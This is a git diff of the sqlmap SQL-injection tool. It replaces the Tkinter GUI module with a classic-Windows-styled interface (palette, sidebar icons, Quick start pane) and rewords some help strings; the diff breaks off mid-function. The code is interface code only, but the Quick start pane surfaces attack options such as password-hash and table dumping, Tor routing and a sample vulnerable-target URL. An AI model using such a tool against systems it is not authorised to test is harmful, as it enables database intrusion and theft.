02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -249,7 +249,7 @@ da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/craw a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py -853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py +417029b70afe672f3121746a7909887aa996766c92547b4566c50343fff76131 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py @@ -264,7 +264,7 @@ de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/sear 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py -f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py +f19a6761284e689fca7d2e07120193f7b9c4f9c506ecaf87e82c2e97cca4db63 lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c25f9e0f6..2c3537f7e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.157" +VERSION = "1.10.6.158" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e0b2b5793..d35c61b95 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -443,7 +443,7 @@ def cmdLineParser(argv=None): help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = parser.add_argument_group("Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") @@ -789,7 +789,7 @@ def cmdLineParser(argv=None): help="Disable hash analysis on table dumps") miscellaneous.add_argument("--gui", dest="gui", action="store_true", - help="Experimental Tkinter GUI") + help="Graphical user interface (Tkinter)") miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") @@ -816,7 +816,7 @@ def cmdLineParser(argv=None): help="Local directory for storing temporary files") miscellaneous.add_argument("--tui", dest="tui", action="store_true", - help="Experimental ncurses TUI") + help="Textual user interface (ncurses)") miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", help="Adjust options for unstable connections") diff --git a/lib/utils/gui.py b/lib/utils/gui.py index 3e3500bc5..ed6dd13b3 100644 --- a/lib/utils/gui.py +++ b/lib/utils/gui.py @@ -6,8 +6,6 @@ See the file 'LICENSE' for copying permission """ import os -import re -import socket import subprocess import sys import tempfile @@ -30,397 +28,989 @@ from lib.core.settings import VERSION_STRING from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue -alive = None -line = "" -process = None -queue = None +# Classic Windows (NT/9x) palette: silver 3D face, navy title/selection, white sunken fields, +# black text, and saturated VGA-style accents for the icons (presentation only) +PALETTE = { + "base": "#c0c0c0", # window / control face (silver) + "mantle": "#c0c0c0", # bars (classic is uniform gray, separated by bevels) + "crust": "#ffffff", # console / edit background + "surface0": "#ffffff", # field (edit) background + "surface1": "#808080", # 3D shadow + "surface2": "#dfdfdf", # 3D light (soft) + "light": "#ffffff", # 3D highlight + "dark": "#404040", # 3D dark shadow + "text": "#000000", + "subtext": "#000000", + "overlay": "#404040", + "title2": "#1084d0", # active title-bar gradient end + "blue": "#000080", # navy: title, selection, accents + "sapphire": "#0050b0", + "sky": "#0070c0", + "green": "#008000", + "teal": "#008080", + "red": "#c00000", + "maroon": "#800000", + "mauve": "#9000a8", + "pink": "#c000b0", + "peach": "#c06000", + "yellow": "#c08000", + "lavender": "#4858c0", + "flamingo": "#c04070", + "gold": "#e0a800", +} + +# a distinct accent color per section, so the sidebar icons read as a colorful, scannable set +ICON_COLORS = { + "Quick start": "yellow", + "Target": "red", + "Request": "sapphire", + "Optimization": "teal", + "Injection": "mauve", + "Detection": "sky", + "Techniques": "maroon", + "Fingerprint": "lavender", + "Enumeration": "green", + "Brute force": "peach", + "User-defined function injection": "pink", + "File system access": "gold", + "Operating system access": "blue", + "Windows registry access": "sapphire", + "General": "teal", + "Miscellaneous": "overlay", +} + +# Options surfaced on the curated "Quick start" pane (by destination), in display order +QUICK_START_DESTS = ( + "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short, readable sidebar labels for the (sometimes verbose) option-group titles +NAV_ALIASES = { + "User-defined function injection": "UDF injection", + "Operating system access": "OS access", + "Windows registry access": "Windows registry", + "File system access": "File system", +} + +TARGET_PLACEHOLDER = "http://www.target.com/vuln.php?id=1" + +HINT_DEFAULT = "Hover or focus a field to see what it does." + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): # argparse + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optChoices(option): + return getattr(option, "choices", None) + +def _optTakesValue(option): + if hasattr(option, "takes_value"): # optparse Option + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 # argparse: store_true/false has nargs 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +def _optionLabel(option): + return ", ".join(_optStrings(option)) or (_optDest(option) or "") + +class _Tooltip(object): + """Lightweight hover tooltip for a widget""" + + def __init__(self, widget, text, tk, palette): + self._widget = widget + self._text = text + self._tk = tk + self._palette = palette + self._tip = None + widget.bind("", self._show, add="+") + widget.bind("", self._hide, add="+") + widget.bind("", self._hide, add="+") + + def _show(self, event=None): + if self._tip or not self._text: + return + x = self._widget.winfo_rootx() + 18 + y = self._widget.winfo_rooty() + self._widget.winfo_height() + 6 + self._tip = tw = self._tk.Toplevel(self._widget) + tw.wm_overrideredirect(True) + tw.wm_geometry("+%d+%d" % (x, y)) + self._tk.Label(tw, text=self._text, justify="left", background=self._palette["surface0"], + foreground=self._palette["text"], relief="flat", borderwidth=0, + wraplength=460, padx=10, pady=7).pack() + + def _hide(self, event=None): + if self._tip: + self._tip.destroy() + self._tip = None + +class SqlmapGui(object): + def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): + self.parser = parser + self.tk = tk + self.ttk = ttk + self.scrolledtext = scrolledtext + self.messagebox = messagebox + self.filedialog = filedialog + self.font = font + + self.widgets = {} # dest -> (type, shared Tk variable) + self.vars = {} # dest -> shared Tk variable (one per option, bound to every widget for it) + self.optionByDest = {} + for group in _parserGroups(parser): + for option in _groupOptions(group): + if _optDest(option): + self.optionByDest[_optDest(option)] = option + + self.panes = {} # name -> outer frame + self.navItems = {} # name -> (row frame, accent strip, icon canvas, label) + self.canvases = {} # name -> canvas (for wheel binding) + self.inners = {} # name -> scrollable inner frame (populated lazily) + self.builders = {} # name -> callable that populates the inner frame + self.built = set() # names whose content has been built + self.paneOrder = [] # nav order, for Up/Down navigation + self.currentPane = None + self.process = None + self.alive = False + self.queue = None + + try: + self.window = tk.Tk() + except Exception as ex: + raise SqlmapSystemException("unable to create GUI window ('%s')" % getSafeExString(ex)) + + self._initFonts() + self._initStyle() + self._buildLayout() + + def _initFonts(self): + family = self.font.nametofont("TkDefaultFont").actual("family") + self.fonts = { + "body": (family, 10), + "bodyBold": (family, 10, "bold"), + "small": (family, 9), + "nav": (family, 10), + "title": (family, 18, "bold"), + "subtitle": (family, 9), + "mono": (self.font.nametofont("TkFixedFont").actual("family"), 10), + } + + def _initStyle(self): + p = PALETTE + face, light, light2, shadow, dark = p["base"], p["light"], p["surface2"], p["surface1"], p["dark"] + navy, white, black, field = p["blue"], "#ffffff", p["text"], p["surface0"] + style = self.ttk.Style() + if "clam" in style.theme_names(): + style.theme_use("clam") + + style.configure(".", background=face, foreground=black, fieldbackground=field, + bordercolor=shadow, lightcolor=light, darkcolor=shadow, + troughcolor=face, focuscolor=face, insertcolor=black, font=self.fonts["body"]) + + for name in ("TFrame", "Bar.TFrame", "Nav.TFrame", "Card.TFrame"): + style.configure(name, background=face) + + style.configure("TLabel", background=face, foreground=black) + style.configure("Title.TLabel", background=navy, foreground=white, font=self.fonts["title"]) + style.configure("Subtitle.TLabel", background=navy, foreground=white, font=self.fonts["subtitle"]) + style.configure("Hint.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Field.TLabel", background=face, foreground=black) + style.configure("Desc.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Pane.TLabel", background=face, foreground=navy, font=self.fonts["title"]) + style.configure("Stat.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Prompt.TLabel", background=field, foreground=black, font=self.fonts["mono"]) + + # classic raised 3D push button + style.configure("TButton", background=face, foreground=black, relief="raised", borderwidth=2, + lightcolor=light, darkcolor=dark, bordercolor=shadow, focuscolor=black, padding=(12, 4)) + style.map("TButton", background=[("active", face)], relief=[("pressed", "sunken")]) + + # sunken white edit fields + for name in ("TEntry", "Target.TEntry"): + style.configure(name, fieldbackground=field, foreground=black, relief="sunken", borderwidth=2, + bordercolor=shadow, lightcolor=shadow, darkcolor=light, insertcolor=black, padding=4) + + style.configure("TCheckbutton", background=face, foreground=black, focuscolor=face, padding=2, + indicatorbackground=field, indicatorforeground=black, indicatorrelief="sunken", indicatorborderwidth=2, + bordercolor=shadow, lightcolor=shadow, darkcolor=light) + style.map("TCheckbutton", background=[("active", face)], indicatorbackground=[("active", field), ("selected", field)]) + + style.configure("TCombobox", fieldbackground=field, background=face, foreground=black, arrowcolor=black, + relief="sunken", borderwidth=2, bordercolor=shadow, lightcolor=shadow, darkcolor=light, padding=3) + + # classic chunky scrollbar (raised gray thumb, light trough) + style.configure("Vertical.TScrollbar", background=face, troughcolor=light2, bordercolor=shadow, + lightcolor=light, darkcolor=dark, arrowcolor=black, relief="raised", width=17) + style.map("Vertical.TScrollbar", background=[("active", face)]) + + self.window.configure(background=face) + + # --- layout --------------------------------------------------------- + + def _buildLayout(self): + tk = self.tk + self.window.title("sqlmap") + self.window.minsize(960, 680) + self._buildMenu() + self._buildHeader() + + target = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 12, 20, 14)) + target.pack(fill=tk.X) + labelRow = self.ttk.Frame(target, style="Bar.TFrame") + labelRow.pack(fill=tk.X, pady=(0, 4)) + self.ttk.Label(labelRow, text="TARGET URL", style="Hint.TLabel").pack(side=tk.LEFT) + self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="Stat.TLabel").pack(side=tk.LEFT) + urlVar = self._destVar("url", False) + self.targetEntry = self.ttk.Entry(target, style="Target.TEntry", textvariable=urlVar) + self.targetEntry.pack(fill=tk.X, ipady=2) + self.widgets["url"] = ("string", urlVar) + + body = self.ttk.Frame(self.window, style="TFrame") + body.pack(expand=True, fill=tk.BOTH) + + navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=202) + navHolder.pack(side=tk.LEFT, fill=tk.Y) + navHolder.pack_propagate(False) + self.navCanvas = tk.Canvas(navHolder, background=PALETTE["mantle"], highlightthickness=0, borderwidth=0) + navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, style="Vertical.TScrollbar") + self.nav = self.ttk.Frame(self.navCanvas, style="Nav.TFrame") + self.nav.bind("", lambda e: self.navCanvas.configure(scrollregion=self.navCanvas.bbox("all"))) + navWin = self.navCanvas.create_window((0, 0), window=self.nav, anchor="nw") + self.navCanvas.bind("", lambda e: self.navCanvas.itemconfigure(navWin, width=e.width)) + self.navCanvas.configure(yscrollcommand=navScroll.set) + self.navCanvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) + navScroll.pack(side=tk.RIGHT, fill=tk.Y) + + tk.Frame(body, background=PALETTE["surface1"], width=1).pack(side=tk.LEFT, fill=tk.Y) + + self.content = self.ttk.Frame(body, style="Card.TFrame") + self.content.pack(side=tk.LEFT, expand=True, fill=tk.BOTH) + + cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 8)) + cmdBar.pack(fill=tk.X) + self.ttk.Label(cmdBar, text="Command:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.command = tk.StringVar(value="sqlmap.py") + cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], + bg="#ffffff", fg=PALETTE["blue"], readonlybackground="#ffffff", + disabledforeground=PALETTE["blue"], relief="sunken", borderwidth=2, + highlightthickness=0, state="readonly") + cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + + hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 9)) + hintBar.pack(fill=tk.X) + self.stat = tk.StringVar(value="") + self.ttk.Label(hintBar, textvariable=self.stat, style="Stat.TLabel", anchor="e").pack(side=tk.RIGHT, padx=(12, 0)) + self.hint = tk.StringVar(value=HINT_DEFAULT) + self.ttk.Label(hintBar, textvariable=self.hint, style="Hint.TLabel", anchor="w").pack(side=tk.LEFT, fill=tk.X, expand=True) + + self._buildQuickStartPane() + for group in _parserGroups(self.parser): + self._buildGroupPane(group) + + self._selectPane("Quick start") + self.window.bind("", lambda e: self._navKey(1)) + self.window.bind("", lambda e: self._navKey(-1)) + for seq in ("", "", ""): + self.window.bind_all(seq, self._onWheel) + self._enableSelectAll() + self._tickStats() + self._prebuildPanes() + self._center(self.window, 1000, 720) + + def _prebuildPanes(self): + # Tk isn't thread-safe, so widgets must be built on the main thread; instead of blocking, + # build the not-yet-visited panes one per idle tick so they are ready (instant) by the time + # the user navigates to them, while the UI stays responsive (on-demand build is the fallback) + pending = [_ for _ in self.paneOrder if _ not in self.built] + + def step(): + while pending and pending[0] in self.built: + pending.pop(0) + if not pending: + return + name = pending.pop(0) + try: + self.builders[name](self.inners[name]) + self.built.add(name) + except Exception: + pass + if pending: + self.window.after(30, step) + + self.window.after(250, step) + + def _enableSelectAll(self): + # Tk binds Ctrl-A to "cursor to line start" by default; rebind it to select-all, + # which is what users expect (covers entries, comboboxes and the console text widget) + def selectEntry(event): + try: + event.widget.select_range(0, "end") + event.widget.icursor("end") + except Exception: + pass + return "break" + + def selectText(event): + try: + event.widget.tag_add("sel", "1.0", "end-1c") + except Exception: + pass + return "break" + + for cls in ("TEntry", "Entry", "TCombobox"): + self.window.bind_class(cls, "", selectEntry) + self.window.bind_class(cls, "", selectEntry) + for seq in ("", ""): + self.window.bind_class("Text", seq, selectText) + + def _buildMenu(self): + p = PALETTE + menubar = self.tk.Menu(self.window, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"], borderwidth=0) + filemenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + filemenu.add_command(label="Load configuration...", command=self.loadConfig) + filemenu.add_command(label="Save configuration...", command=self.saveConfigDialog) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=self.window.quit) + menubar.add_cascade(label="File", menu=filemenu) + menubar.add_command(label="Run", command=self.run) + helpmenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="GitHub", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + self.window.config(menu=menubar) + + def _buildHeader(self): + self._runHover = False + self.header = self.tk.Canvas(self.window, height=76, highlightthickness=0, borderwidth=0, background=PALETTE["base"]) + self.header.pack(fill=self.tk.X) + self.header.bind("", lambda e: self._drawHeader()) + + def _interp(self, color1, color2, ratio): + a = [int(color1[_:_ + 2], 16) for _ in (1, 3, 5)] + b = [int(color2[_:_ + 2], 16) for _ in (1, 3, 5)] + return "#%02x%02x%02x" % tuple(int(a[_] + (b[_] - a[_]) * ratio) for _ in range(3)) + + def _drawHeader(self): + p = PALETTE + c = self.header + c.delete("all") + width = c.winfo_width() + height = 76 + steps = max(1, width // 4) + for i in range(steps): + c.create_rectangle(i * width / steps, 0, (i + 1) * width / steps + 1, height, + outline="", fill=self._interp(p["blue"], p["title2"], i / float(steps))) + c.create_text(24, 27, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) + c.create_text(122, 31, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", fill="#c7d8ef", font=self.fonts["subtitle"]) + c.create_text(24, 54, text="automatic SQL injection and database takeover tool", anchor="w", fill="#dfe8f6", font=self.fonts["small"]) + self._drawRunButton(width, height) + + def _drawRunButton(self, width, height): + p = PALETTE + c = self.header + bw, bh = 116, 34 + x0 = width - bw - 22 + y0 = (height - bh) // 2 + x1, y1 = x0 + bw, y0 + bh + c.create_rectangle(x0, y0, x1, y1, fill=p["base"], outline="", tags=("runbtn", "runpill")) + # classic raised 3D bevel (white top/left, dark bottom/right) + c.create_line(x0, y0, x1, y0, fill="#ffffff", tags="runbtn") + c.create_line(x0, y0, x0, y1, fill="#ffffff", tags="runbtn") + c.create_line(x0, y1, x1, y1, fill=p["dark"], tags="runbtn") + c.create_line(x1, y0, x1, y1 + 1, fill=p["dark"], tags="runbtn") + c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + c.create_line(x1 - 1, y0 + 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + cy = (y0 + y1) // 2 + tx = x0 + 24 + c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill=p["blue"], outline="", tags=("runbtn", "runico")) + c.create_text((x0 + x1) // 2 + 8, cy, text="Run", fill=p["text"], font=self.fonts["bodyBold"], tags=("runbtn", "runico")) + c.tag_bind("runbtn", "", lambda e: self.run()) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(True)) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(False)) + + def _hoverRun(self, on): + self._runHover = on + self.header.itemconfigure("runpill", fill="#ccccc6" if on else PALETTE["base"]) + try: + self.header.configure(cursor="hand2" if on else "") + except Exception: + pass + + def _drawIcon(self, c, name, col): + # minimal line-art icons, drawn as vectors so they render everywhere and need no assets + c.delete("all") + + def line(*pts, **kw): + c.create_line(*pts, fill=col, width=2, capstyle="round", joinstyle="round", **kw) + + def oval(x0, y0, x1, y1, filled=False): + c.create_oval(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def rect(x0, y0, x1, y1, filled=False): + c.create_rectangle(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def poly(*pts): + c.create_polygon(*pts, fill=col, outline="") + + def arc(x0, y0, x1, y1, start, extent): + c.create_arc(x0, y0, x1, y1, start=start, extent=extent, outline=col, width=2, style="arc") + + def dot(x, y, r=2): + c.create_oval(x - r, y - r, x + r, y + r, fill=col, outline="") + + def glyph(text, size=11): + c.create_text(11, 11, text=text, fill=col, font=(self.fonts["bodyBold"][0], size, "bold")) + + if name == "Quick start": + poly(12, 3, 6, 12, 10, 12, 9, 19, 16, 9, 11, 9) + elif name == "Target": + oval(4, 4, 18, 18) + dot(11, 11, 2) + elif name == "Request": + line(4, 8, 17, 8, arrow="last") + line(18, 14, 5, 14, arrow="last") + elif name == "Optimization": + arc(4, 6, 18, 20, 0, 180) + line(11, 13, 15, 8) + elif name == "Injection": + # syringe: thumb rest + plunger rod + flange + barrel + needle (no arrowhead, so it reads as a needle not a cross) + line(9, 2, 13, 2) + line(11, 2, 11, 5) + line(6, 5, 16, 5) + rect(8, 5, 14, 14) + line(11, 14, 11, 20) + elif name == "Detection": + oval(4, 4, 13, 13) + line(12, 12, 18, 18) + elif name == "Techniques": + oval(7, 7, 15, 15) + line(11, 2, 11, 6) + line(11, 16, 11, 20) + line(2, 11, 6, 11) + line(16, 11, 20, 11) + elif name == "Fingerprint": + # tightly nested tall loops with the gap at the bottom (fingertip ridges), plus a central core + arc(3, 1, 19, 21, 285, 330) + arc(5, 4, 17, 18, 285, 330) + arc(7, 7, 15, 15, 285, 330) + arc(9, 10, 13, 12, 285, 330) + elif name == "Enumeration": + oval(4, 3, 18, 7) + line(4, 5, 4, 16) + line(18, 5, 18, 16) + arc(4, 12, 18, 18, 180, 180) + elif name == "Brute force": + oval(3, 7, 11, 15) + line(9, 11, 19, 11) + line(16, 11, 16, 15) + line(19, 11, 19, 14) + elif name == "User-defined function injection": + glyph("fx", 11) + elif name == "File system access": + poly(3, 7, 8, 7, 10, 9, 19, 9, 19, 17, 3, 17) + elif name == "Operating system access": + rect(3, 5, 19, 17) + line(6, 9, 9, 11) + line(6, 13, 9, 13) + elif name == "Windows registry access": + # the waving Windows flag (4 slanted panes) rather than a plain 2x2 grid + poly(4, 6, 10, 5, 10, 11, 4, 12) + poly(12, 5, 18, 4, 18, 10, 12, 11) + poly(4, 13, 10, 12, 10, 18, 4, 19) + poly(12, 12, 18, 11, 18, 17, 12, 18) + elif name == "General": + line(4, 6, 18, 6) + dot(14, 6) + line(4, 11, 18, 11) + dot(8, 11) + line(4, 16, 18, 16) + dot(13, 16) + elif name == "Miscellaneous": + dot(5, 11) + dot(11, 11) + dot(17, 11) + else: + dot(11, 11, 3) + + def _addPane(self, name, navText): + p = PALETTE + tk = self.tk + row = tk.Frame(self.nav, background=p["mantle"]) + row.pack(fill=tk.X) + strip = tk.Frame(row, background=p["mantle"], width=3) + strip.pack(side=tk.LEFT, fill=tk.Y) + icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) + icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) + self._drawIcon(icon, name, self._iconColor(name)) + lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["subtext"], + font=self.fonts["nav"], anchor="w", padx=10, pady=9) + lab.pack(side=tk.LEFT, fill=tk.X, expand=True) + for w in (row, lab, strip, icon): + w.bind("", lambda e, n=name: self._selectPane(n)) + w.bind("", lambda e, n=name: self._navHover(n, True)) + w.bind("", lambda e, n=name: self._navHover(n, False)) + self.navItems[name] = (row, strip, icon, lab) + self.paneOrder.append(name) + + outer = self.ttk.Frame(self.content, style="Card.TFrame") + canvas = tk.Canvas(outer, background=p["base"], highlightthickness=0, borderwidth=0) + scrollbar = self.ttk.Scrollbar(outer, orient="vertical", command=canvas.yview, style="Vertical.TScrollbar") + inner = self.ttk.Frame(canvas, style="Card.TFrame", padding=(24, 20)) + inner.bind("", lambda e: canvas.configure(scrollregion=canvas.bbox("all"))) + window_id = canvas.create_window((0, 0), window=inner, anchor="nw") + canvas.bind("", lambda e: canvas.itemconfigure(window_id, width=e.width)) + canvas.configure(yscrollcommand=scrollbar.set) + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + self.panes[name] = outer + self.canvases[name] = canvas + self.inners[name] = inner + return inner + + def _iconColor(self, name): + return PALETTE.get(ICON_COLORS.get(name, "subtext"), PALETTE["subtext"]) + + def _navHover(self, name, entering): + if name == self.currentPane: + return + bg = PALETTE["surface2"] if entering else PALETTE["mantle"] + row, strip, icon, lab = self.navItems[name] + for w in (row, strip, icon, lab): + w.configure(background=bg) + + def _navKey(self, delta): + try: + focused = self.window.focus_get() + except Exception: + focused = None + if isinstance(focused, (self.ttk.Entry, self.ttk.Combobox)): + return None + if self.paneOrder: + index = self.paneOrder.index(self.currentPane) + self._selectPane(self.paneOrder[(index + delta) % len(self.paneOrder)]) + return "break" + + def _selectPane(self, name): + if name not in self.built: # lazy: populate the pane on first visit + self.builders[name](self.inners[name]) + self.built.add(name) + if self.currentPane == name: + return + p = PALETTE + if self.currentPane: + self.panes[self.currentPane].pack_forget() + row, strip, icon, lab = self.navItems[self.currentPane] + for w in (row, strip, icon): + w.configure(background=p["mantle"]) + lab.configure(background=p["mantle"], foreground=p["text"], font=self.fonts["nav"]) + self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) + self.panes[name].pack(expand=True, fill=self.tk.BOTH) + row, strip, icon, lab = self.navItems[name] + for w in (row, strip, icon): + w.configure(background=p["blue"]) + lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) + self._drawIcon(icon, name, "#ffffff") + self.currentPane = name + self._ensureNavVisible(name) + + if hasattr(self, "hint"): # don't leave the previous section's option hint lingering + self.hint.set(HINT_DEFAULT) + + def _ensureNavVisible(self, name): + # scroll the sidebar so the active item stays in view (e.g. when paging with Up/Down) + try: + row = self.navItems[name][0] + self.nav.update_idletasks() + total = self.nav.winfo_height() + viewH = self.navCanvas.winfo_height() + if total <= 1 or viewH <= 1: + return + top = row.winfo_y() + bottom = top + row.winfo_height() + curTop = self.navCanvas.yview()[0] * total + if top < curTop: + self.navCanvas.yview_moveto(float(top) / total) + elif bottom > curTop + viewH: + self.navCanvas.yview_moveto(float(bottom - viewH) / total) + except Exception: + pass + + def _onWheel(self, event): + # route the wheel to whichever scroll region the pointer is over (sidebar or content) + delta = 1 if getattr(event, "num", None) == 5 or getattr(event, "delta", 0) < 0 else -1 + target = None + node = self.window.winfo_containing(event.x_root, event.y_root) + while node is not None: + if node is self.navCanvas: + target = self.navCanvas + break + if self.currentPane and node is self.canvases.get(self.currentPane): + target = self.canvases[self.currentPane] + break + try: + node = node.master + except Exception: + break + if target is None and self.currentPane: + target = self.canvases.get(self.currentPane) + if target is not None: + target.yview_scroll(delta, "units") + return "break" + + def _buildQuickStartPane(self): + name = "Quick start" + self._addPane(name, name) + + def build(inner): + self.ttk.Label(inner, text="Quick start", style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + self.ttk.Label(inner, text="The options people reach for most. Set the target above, tick what you want, then Run.", + style="Desc.TLabel", wraplength=640, justify="left").grid(row=1, column=0, columnspan=2, sticky="w", pady=(2, 14)) + row = 2 + for dest in QUICK_START_DESTS: + option = self.optionByDest.get(dest) + if option is not None: + row = self._buildFieldRow(inner, option, row) + inner.columnconfigure(1, weight=1) + + self.builders[name] = build + + def _buildGroupPane(self, group): + title = _groupTitle(group) + self._addPane(title, NAV_ALIASES.get(title, title)) + + def build(inner, group=group, title=title): + self.ttk.Label(inner, text=title, style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + row = 1 + description = _groupDescription(group) + if description: + self.ttk.Label(inner, text=description, style="Desc.TLabel", wraplength=640, justify="left").grid( + row=row, column=0, columnspan=2, sticky="w", pady=(2, 14)) + row += 1 + for option in _groupOptions(group): + row = self._buildFieldRow(inner, option, row) + inner.columnconfigure(1, weight=1) + + self.builders[title] = build + + def _destVar(self, dest, is_bool): + # one shared variable per option, so every widget that edits it (Quick start pane, + # the proper group pane, the target bar) reflects into the same value both ways + if dest not in self.vars: + self.vars[dest] = self.tk.IntVar() if is_bool else self.tk.StringVar() + return self.vars[dest] + + def _buildFieldRow(self, parent, option, row): + p = PALETTE + tk = self.tk + label = _optionLabel(option) + helptext = _optHelp(option) + dest = _optDest(option) + is_bool = not _optTakesValue(option) + firstSeen = dest not in self.vars + + def bindHint(widget): + 